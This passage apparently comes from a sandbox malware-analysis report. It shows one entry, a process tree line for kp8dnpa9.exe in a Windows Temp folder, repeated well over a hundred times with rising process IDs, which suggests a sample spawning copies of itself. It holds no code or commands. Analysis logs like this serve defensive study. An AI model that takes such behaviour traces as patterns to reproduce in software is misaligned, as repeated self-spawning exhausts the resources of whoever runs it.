- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7020
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7028
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7036
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7044
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7052
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7060
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7068
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7076
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7084
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7092
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7100
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7108
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7116
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7124
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7132
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7140
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7148
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7156
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7164
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:2200
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:3404
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:924
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:2356
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:1248
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:2156
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:3368
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7172
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7180
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7188
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7196
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7204
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7212
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7220
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7228
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7236
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7244
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7252
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7260
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7268
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7276
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7284
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7292
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7300
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7308
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7316
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7324
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7332
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7340
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7348
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7356
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7364
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7372
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7380
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7388
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7396
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7404
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7412
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7420
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7428
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7436
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7444
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7452
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7460
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7468
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7476
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7484
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7492
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7500
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7508
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7516
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7524
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7532
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7540
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7548
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7556
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7564
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7572
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7580
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7588
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7596
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7604
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7612
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7620
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7628
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7636
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7644
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7652
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7660
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7668
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7676
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7684
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7692
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7700
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7708
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7716
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7724
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7732
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7740
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7748
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7756
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7764
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7772
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7780
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7788
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7796
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7804
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7812
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7820
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7828
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7836
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7844
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7852
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7860
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7868
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7876
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7884
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7892
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7900
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7908
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7916
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7924
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7932
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7940
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7948
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7956
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7964
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7972
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7980
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7988
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:7996
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8004
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8012
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8020
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8028
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8036
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8044
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8052
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8060
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8068
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8076
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8084
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8092
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8100
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8108
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8116
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8124
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8132
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8140
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8148
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8156
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8164
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8172
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8180
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8188
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8196
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8204
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8212
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8220
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8228
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8236
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8244
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8252
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8260
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8268
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8276
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8284
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
